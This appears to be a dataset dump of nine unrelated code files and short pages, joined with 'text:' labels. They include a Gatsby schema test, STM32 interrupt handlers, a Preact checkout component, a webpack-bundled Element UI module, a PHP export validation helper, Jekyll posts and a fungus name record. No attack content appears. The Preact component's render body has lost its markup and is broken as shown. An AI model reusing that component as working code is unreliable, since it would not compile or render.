    await Promise.all(worker.all.buildSchema())

    stateFromWorker = await worker.single.getState()
  })

  afterAll(async () => {
    if (worker) {
      await Promise.all(worker.end())
      worker = undefined
    }
    for (const watcher of mockWatchersToClose) {
      watcher.close()
    }
  })

  it(`should have functioning createSchemaCustomization`, async () => {
    const typeDefinitions = (
      stateFromWorker.schemaCustomization.types[0] as {
        typeOrTypeDef: DocumentNode
      }
    ).typeOrTypeDef.definitions

    expect(typeDefinitions).toEqual(
      expect.arrayContaining([
        expect.objectContaining({
          fields: expect.arrayContaining([
            expect.objectContaining({
              name: expect.objectContaining({
                value: `thisIsANumber`,
              }),
              type: expect.objectContaining({
                name: expect.objectContaining({
                  value: `Int`,
                }),
              }),
            }),
          ]),
        }),
        expect.objectContaining({
          fields: expect.arrayContaining([
            expect.objectContaining({
              name: expect.objectContaining({
                value: `overriddenString`,
              }),
              type: expect.objectContaining({
                name: expect.objectContaining({
                  value: `Int`,
                }),
              }),
            }),
          ]),
        }),
      ])
    )
  })

  it(`should have NodeTypeOne & NodeTypeTwo in schema`, async () => {
    expect(stateFromWorker.schema[`_typeMap`]).toEqual(
      expect.objectContaining({
        NodeTypeOne: `NodeTypeOne`,
        NodeTypeTwo: `NodeTypeTwo`,
      })
    )
  })

  it(`should have inferenceMetadata`, async () => {
    expect(stateFromWorker.inferenceMetadata).toEqual(
      expect.objectContaining({
        typeMap: expect.objectContaining({
          NodeTypeOne: expect.anything(),
        }),
      })
    )
  })

  it(`should have resolverField from createResolvers`, async () => {
    // @ts-ignore - it exists
    const { data } = await worker?.single.getRunQueryResult(`
    {
      one: nodeTypeOne {
        number
      }
      two: nodeTypeTwo {
        thisIsANumber
      }
      three: nodeTypeOne {
        resolverField
      }
    }
  `)

    expect(data.one.number).toBe(123)
    expect(data.two).toBe(null)
    expect(data.three.resolverField).toBe(`Custom String`)
  })

  it(`should have fieldsOnGraphQL from setFieldsOnGraphQLNodeType`, async () => {
    // @ts-ignore - it exists
    const { data } = await worker?.single.getRunQueryResult(`
    {
      four: nodeTypeOne {
        fieldsOnGraphQL
      }
    }
  `)

    expect(data.four.fieldsOnGraphQL).toBe(`Another Custom String`)
  })
})


text:
/* Includes ------------------------------------------------------------------*/
#include "stm32f3xx_hal.h"
#include "stm32f3xx.h"
#include "stm32f3xx_it.h"
#include "cmsis_os.h"

/* USER CODE BEGIN 0 */

/* USER CODE END 0 */

/* External variables --------------------------------------------------------*/

extern TIM_HandleTypeDef htim1;

/******************************************************************************/
/*            Cortex-M4 Processor Interruption and Exception Handlers         */
/******************************************************************************/

/**
* @brief This function handles System tick timer.
*/
void SysTick_Handler(void)
{
  /* USER CODE BEGIN SysTick_IRQn 0 */

  /* USER CODE END SysTick_IRQn 0 */
  osSystickHandler();
  /* USER CODE BEGIN SysTick_IRQn 1 */

  /* USER CODE END SysTick_IRQn 1 */
}

/******************************************************************************/
/* STM32F3xx Peripheral Interrupt Handlers                                    */
/* Add here the Interrupt Handlers for the used peripherals.                  */
/* For the available peripheral interrupt handler names,                      */
/* please refer to the startup file (startup_stm32f3xx.s).                    */
/******************************************************************************/

/**
* @brief This function handles TIM1 update and TIM16 interrupts.
*/
void TIM1_UP_TIM16_IRQHandler(void)
{
  /* USER CODE BEGIN TIM1_UP_TIM16_IRQn 0 */

  /* USER CODE END TIM1_UP_TIM16_IRQn 0 */
  HAL_TIM_IRQHandler(&htim1);
  /* USER CODE BEGIN TIM1_UP_TIM16_IRQn 1 */

  /* USER CODE END TIM1_UP_TIM16_IRQn 1 */
}

/* USER CODE BEGIN 1 */

/* USER CODE END 1 */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/


text:
import { h, render, Component } from 'preact'
import { Link } from 'preact-router'

export default class CheckoutTableBody extends Component {
  constructor (props) {
    super()
    this.setState({displayCart: []})
    console.log('checkout cart bundles', props)
  }

  componentWillReceiveProps (nextProps) {
    console.log('tableBody nextProps', nextProps)
    let inCart = Object.assign([], nextProps.cart)
    let displayCart = []

    inCart.map(item => {
      console.log(item)
      let tempBundle = item.bundles

      var activeBundles = tempBundle.filter(bundle => {
        return bundle.count > 0
      })

      if (activeBundles) {
        item.looseCount = activeBundles.map(bundle => {
          return bundle.count * bundle.bundleSize
        })
        .reduce((sum, num) => {
          return sum + num
        }, 0)

        activeBundles.map(activeBundle => {
          activeBundle.looseCount = item.looseCount
          activeBundle.name = item.name
          activeBundle.img = item.img
        })

        displayCart = displayCart.concat(activeBundles)
      }
      console.log('displayCart %o  typeof %o', displayCart, typeof displayCart)
      this.setState({displayCart: displayCart})
    })

    // cleanCart(inBundles)
  }

  render (props, state) {
    return (

        {
          this.state.displayCart.map((item, num) => {
            return (

                  {item.name}

                  {item.looseCount}

                  {item.count} X {item.bundleSize} ${item.price}

                  {item.total}

            )
          })
        }

    )
  }
}


text:
module.exports =
/******/ (function(modules) { // webpackBootstrap
/******/ 	// The module cache
/******/ 	var installedModules = {};
/******/
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/
/******/ 		// Check if module is in cache
/******/ 		if(installedModules[moduleId]) {
/******/ 			return installedModules[moduleId].exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = installedModules[moduleId] = {
/******/ 			i: moduleId,
/******/ 			l: false,
/******/ 			exports: {}
/******/ 		};
/******/
/******/ 		// Execute the module function
/******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ 		// Flag the module as loaded
/******/ 		module.l = true;
/******/
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/
/******/
/******/ 	// expose the modules object (__webpack_modules__)
/******/ 	__webpack_require__.m = modules;
/******/
/******/ 	// expose the module cache
/******/ 	__webpack_require__.c = installedModules;
/******/
/******/ 	// define getter function for harmony exports
/******/ 	__webpack_require__.d = function(exports, name, getter) {
/******/ 		if(!__webpack_require__.o(exports, name)) {
/******/ 			Object.defineProperty(exports, name, {
/******/ 				configurable: false,
/******/ 				enumerable: true,
/******/ 				get: getter
/******/ 			});
/******/ 		}
/******/ 	};
/******/
/******/ 	// getDefaultExport function for compatibility with non-harmony modules
/******/ 	__webpack_require__.n = function(module) {
/******/ 		var getter = module && module.__esModule ?
/******/ 			function getDefault() { return module['default']; } :
/******/ 			function getModuleExports() { return module; };
/******/ 		__webpack_require__.d(getter, 'a', getter);
/******/ 		return getter;
/******/ 	};
/******/
/******/ 	// Object.prototype.hasOwnProperty.call
/******/ 	__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ 	// __webpack_public_path__
/******/ 	__webpack_require__.p = "/dist/";
/******/
/******/ 	// Load entry module and return exports
/******/ 	return __webpack_require__(__webpack_require__.s = 168);
/******/ })
/************************************************************************/
/******/ ({

/***/ 0:
/***/ (function(module, exports) {

/* globals __VUE_SSR_CONTEXT__ */

// IMPORTANT: Do NOT use ES2015 features in this file.
// This module is a runtime utility for cleaner component module output and will
// be included in the final webpack user bundle.

module.exports = function normalizeComponent (
  rawScriptExports,
  compiledTemplate,
  functionalTemplate,
  injectStyles,
  scopeId,
  moduleIdentifier /* server only */
) {
  var esModule
  var scriptExports = rawScriptExports = rawScriptExports || {}

  // ES6 modules interop
  var type = typeof rawScriptExports.default
  if (type === 'object' || type === 'function') {
    esModule = rawScriptExports
    scriptExports = rawScriptExports.default
  }

  // Vue.extend constructor export interop
  var options = typeof scriptExports === 'function'
    ? scriptExports.options
    : scriptExports

  // render functions
  if (compiledTemplate) {
    options.render = compiledTemplate.render
    options.staticRenderFns = compiledTemplate.staticRenderFns
    options._compiled = true
  }

  // functional template
  if (functionalTemplate) {
    options.functional = true
  }

  // scopedId
  if (scopeId) {
    options._scopeId = scopeId
  }

  var hook
  if (moduleIdentifier) { // server build
    hook = function (context) {
      // 2.3 injection
      context =
        context || // cached call
        (this.$vnode && this.$vnode.ssrContext) || // stateful
        (this.parent && this.parent.$vnode && this.parent.$vnode.ssrContext) // functional
      // 2.2 with runInNewContext: true
      if (!context && typeof __VUE_SSR_CONTEXT__ !== 'undefined') {
        context = __VUE_SSR_CONTEXT__
      }
      // inject component styles
      if (injectStyles) {
        injectStyles.call(this, context)
      }
      // register component module identifier for async chunk inferrence
      if (context && context._registeredComponents) {
        context._registeredComponents.add(moduleIdentifier)
      }
    }
    // used by ssr in case component is cached and beforeCreate
    // never gets called
    options._ssrRegister = hook
  } else if (injectStyles) {
    hook = injectStyles
  }

  if (hook) {
    var functional = options.functional
    var existing = functional
      ? options.render
      : options.beforeCreate

    if (!functional) {
      // inject component registration as beforeCreate hook
      options.beforeCreate = existing
        ? [].concat(existing, hook)
        : [hook]
    } else {
      // for template-only hot-reload because in that case the render fn doesn't
      // go through the normalizer
      options._injectStyles = hook
      // register for functioal component in vue file
      options.render = function renderWithStyleInjection (h, context) {
        hook.call(context)
        return existing(h, context)
      }
    }
  }

  return {
    esModule: esModule,
    exports: scriptExports,
    options: options
  }
}

/***/ }),

/***/ 1:
/***/ (function(module, exports) {

module.exports = require("element-ui/lib/mixins/emitter");

/***/ }),

/***/ 168:
/***/ (function(module, exports, __webpack_require__) {

module.exports = __webpack_require__(169);

/***/ }),

/***/ 169:
/***/ (function(module, exports, __webpack_require__) {

"use strict";

exports.__esModule = true;

var _optionGroup = __webpack_require__(170);

var _optionGroup2 = _interopRequireDefault(_optionGroup);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

/* istanbul ignore next */
_optionGroup2.default.install = function (Vue) {
  Vue.component(_optionGroup2.default.name, _optionGroup2.default);
};

exports.default = _optionGroup2.default;

/***/ }),

/***/ 170:
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__babel_loader_node_modules_vue_loader_lib_selector_type_script_index_0_option_group_vue__ = __webpack_require__(171);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__babel_loader_node_modules_vue_loader_lib_selector_type_script_index_0_option_group_vue___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0__babel_loader_node_modules_vue_loader_lib_selector_type_script_index_0_option_group_vue__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__node_modules_vue_loader_lib_template_compiler_index_id_data_v_378254a0_hasScoped_false_preserveWhitespace_false_buble_transforms_node_modules_vue_loader_lib_selector_type_template_index_0_option_group_vue__ = __webpack_require__(172);
var normalizeComponent = __webpack_require__(0)
/* script */

/* template */

/* template functional */
  var __vue_template_functional__ = false
/* styles */
var __vue_styles__ = null
/* scopeId */
var __vue_scopeId__ = null
/* moduleIdentifier (server only) */
var __vue_module_identifier__ = null
var Component = normalizeComponent(
  __WEBPACK_IMPORTED_MODULE_0__babel_loader_node_modules_vue_loader_lib_selector_type_script_index_0_option_group_vue___default.a,
  __WEBPACK_IMPORTED_MODULE_1__node_modules_vue_loader_lib_template_compiler_index_id_data_v_378254a0_hasScoped_false_preserveWhitespace_false_buble_transforms_node_modules_vue_loader_lib_selector_type_template_index_0_option_group_vue__["a" /* default */],
  __vue_template_functional__,
  __vue_styles__,
  __vue_scopeId__,
  __vue_module_identifier__
)

/* harmony default export */ __webpack_exports__["default"] = (Component.exports);

/***/ }),

/***/ 171:
/***/ (function(module, exports, __webpack_require__) {

"use strict";

exports.__esModule = true;

var _emitter = __webpack_require__(1);

var _emitter2 = _interopRequireDefault(_emitter);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

exports.default = {
  mixins: [_emitter2.default],

  name: 'ElOptionGroup',

  componentName: 'ElOptionGroup',

  props: {
    label: String,
    disabled: {
      type: Boolean,
      default: false
    }
  },

  data: function data() {
    return {
      visible: true
    };
  },

  watch: {
    disabled: function disabled(val) {
      this.broadcast('ElOption', 'handleGroupDisabled', val);
    }
  },

  methods: {
    queryChange: function queryChange() {
      this.visible = this.$children && Array.isArray(this.$children) && this.$children.some(function (option) {
        return option.visible === true;
      });
    }
  },

  created: function created() {
    this.$on('queryChange', this.queryChange);
  },
  mounted: function mounted() {
    if (this.disabled) {
      this.broadcast('ElOption', 'handleGroupDisabled', this.disabled);
    }
  }
}; //
//
//
//
//
//
//
//
//
//
//

/***/ }),

/***/ 172:
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('ul',{directives:[{name:"show",rawName:"v-show",value:(_vm.visible),expression:"visible"}],staticClass:"el-select-group__wrap"},[_c('li',{staticClass:"el-select-group__title"},[_vm._v(_vm._s(_vm.label))]),_c('li',[_c('ul',{staticClass:"el-select-group"},[_vm._t("default")],2)])])}
var staticRenderFns = []
var esExports = { render: render, staticRenderFns: staticRenderFns }
/* harmony default export */ __webpack_exports__["a"] = (esExports);

/***/ })

/******/ });


text:
layout: post
title: Android Protips
categories: []
tags:
- android
- development
- Google I/O
status: publish
type: post
published: true
meta:
  _edit_last: '1'
---
Google IO Slides from (who I would consider) the top Android evangelist, Reto Meier.

Android Protips - Radioactive Yak


text:
ACCEPTED

#### According to
Index Fungorum

#### Published in
null

#### Original name
Lecidea racovitzae C.W. Dodge

### Remarks
null


text:
<?php

namespace FINDOLOGIC\Export\Helpers;

use FINDOLOGIC\Export\Exceptions\AttributeKeyLengthException;
use FINDOLOGIC\Export\Exceptions\AttributeValueLengthException;
use FINDOLOGIC\Export\Exceptions\BadPropertyKeyException;
use FINDOLOGIC\Export\Exceptions\EmptyValueNotAllowedException;
use FINDOLOGIC\Export\Exceptions\GroupNameLengthException;
use FINDOLOGIC\Export\Exceptions\InvalidUrlException;
use FINDOLOGIC\Export\Exceptions\ItemIdLengthException;

/**
 * Class DataHelper
 * @package FINDOLOGIC\Export\Helpers
 *
 * Collection of helper methods for data elements.
 */
class DataHelper
{
    /**
     * Internal character limit for attribute values.
     */
    public const ATTRIBUTE_CHARACTER_LIMIT = 16383;

    /**
     * Internal character limit for item id.
     */
    public const ITEM_ID_CHARACTER_LIMIT = 255;

    /**
     * Internal character limit for group names of CSV export.
     */
    public const CSV_GROUP_CHARACTER_LIMIT = 255;

    /**
     * Internal character limit for attribute key names of CSV export.
     */
    public const CSV_ATTRIBUTE_KEY_CHARACTER_LIMIT = 247;

    /**
     * Checks if the provided value is empty.
     *
     * @param string $valueName Name of the value, for better error reporting.
     * @param string|int|float $value The value to check. Regardless of type, it is coerced into a string.
     * @return string Returns the value if not empty.
     */
    public static function checkForEmptyValue(string $valueName, $value): string
    {
        $value = trim($value);

        if ($value === '') {
            throw new EmptyValueNotAllowedException($valueName);
        }

        return $value;
    }

    /**
     * Checks if the provided input complies to a FINDOLOGIC valid url.
     * URL needs to have a http[s] schema.
     * See https://docs.findologic.com/doku.php?id=export_patterns:xml#urls
     *
     * @param string $url The input to check.
     * @throws InvalidUrlException If the input is no url.
     * @return string Returns the url if valid.
     */
    public static function validateUrl(string $url): string
    {
        if (!filter_var($url, FILTER_VALIDATE_URL) || !preg_match('/http[s]?:\/\/.*/', $url)) {
            throw new InvalidUrlException($url);
        }

        return $url;
    }

    /**
     * Verifies that property keys for use in CSV export don't contain characters that could break the format fatally.
     *
     * @param array $propertyKeys The property keys to check.
     * @return array The validated property keys.
     * @throws  BadPropertyKeyException In case the property key contains dangerous characters.
     */
    public static function checkForInvalidCsvPropertyKeys(array $propertyKeys): array
    {
        foreach ($propertyKeys as $propertyKey) {
            if (strpos($propertyKey, "\t") !== false || strpos($propertyKey, "\n") !== false) {
                throw new BadPropertyKeyException($propertyKey);
            }
        }

        return $propertyKeys;
    }

    /**
     * @param string $attributeName Attribute name to output in exception.
     * @param string $attributeValue Attribute value to check if it exceeds character limit.
     */
    public static function checkAttributeValueNotExceedingCharacterLimit($attributeName, $attributeValue): void
    {
        if (mb_strlen($attributeValue) > self::ATTRIBUTE_CHARACTER_LIMIT) {
            throw new AttributeValueLengthException($attributeName, self::ATTRIBUTE_CHARACTER_LIMIT);
        }
    }

    /**
     * @param string $id Attribute value to check if it exceeds character limit.
     */
    public static function checkItemIdNotExceedingCharacterLimit($id)
    {
        if (mb_strlen($id) > self::ITEM_ID_CHARACTER_LIMIT) {
            throw new ItemIdLengthException($id, self::ITEM_ID_CHARACTER_LIMIT);
        }
    }

    /**
     * @param string $group Group name to check if it exceeds character limit.
     */
    public static function checkCsvGroupNameNotExceedingCharacterLimit($group)
    {
        if (mb_strlen($group) > self::CSV_GROUP_CHARACTER_LIMIT) {
            throw new GroupNameLengthException($group, self::CSV_GROUP_CHARACTER_LIMIT);
        }
    }

    /**
     * @param string $group Group name to check if it exceeds character limit.
     */
    public static function checkCsvAttributeKeyNotExceedingCharacterLimit($group)
    {
        if (mb_strlen($group) > self::CSV_ATTRIBUTE_KEY_CHARACTER_LIMIT) {
            throw new AttributeKeyLengthException($group, self::CSV_ATTRIBUTE_KEY_CHARACTER_LIMIT);
        }
    }
}


text:
Welcome
=======

Welcome to Liping Zhang's Blog.

Blog  [![Build Status](https://img.shields.io/badge/build-passing-green.svg)](https://github.com/zlpmichelle/blog)  [![release](https://img.shields.io/github/release/zlpmichelle/blog.svg)](https://github.com/zlpmichelle/blog/releases)
========

A Simple Jekyll Blog Theme.

[![Demo](https://img.shields.io/badge/Demo-blog-green.svg)](http://zlpmichelle.ml/blog)

Introduce yourself in `About` page  :

And you can turn on or off your skills tree in `_config.yml` :

Posts will be listed by year in `Archive` page:

Posts will be listed by category in `Category` page:

Posts will be listed by tag in `Tags` page:

Contact information will be posted in `Contact` page:

Now you have a `404` page and it will jump back to `index` page itself:

How to use
=========

![GitHub stars](https://img.shields.io/github/stars/zlpmichelle/blog.svg?style=social&&label=Star) it, ![GitHub forks](https://img.shields.io/github/forks/zlpmichelle/blog.svg?style=social&&label=Fork) it, and Download it.

``` sh
$ git clone https://github.com/zlpmichelle/blog.git
```

Change the settings in `_config.yml` file and then you can use this theme.

Easy, right?

If you wanna do more, then change whatever you want. But first, you should know what you are doing.

If you make all codes a mess, do not worry, just come back and download again.

Have fun.

Author  [![Twitter](https://img.shields.io/badge/awesome-LipingZhang-66BAB7.svg)](https://twitter.com/zlpmichelle)
======

A normal person just wanna see this world.

[![Twitter Follow](https://img.shields.io/twitter/follow/zlpmichelle.svg?style=social)](https://twitter.com/zlpmichelle)

License  [![License](https://img.shields.io/npm/l/express.svg)](https://github.com/zlpmichelle/blog/blob/master/LICENSE)
======

Use MIT License.


text:
interface I {
  [a = 0] // Used to be indexer, now it is a computed property
}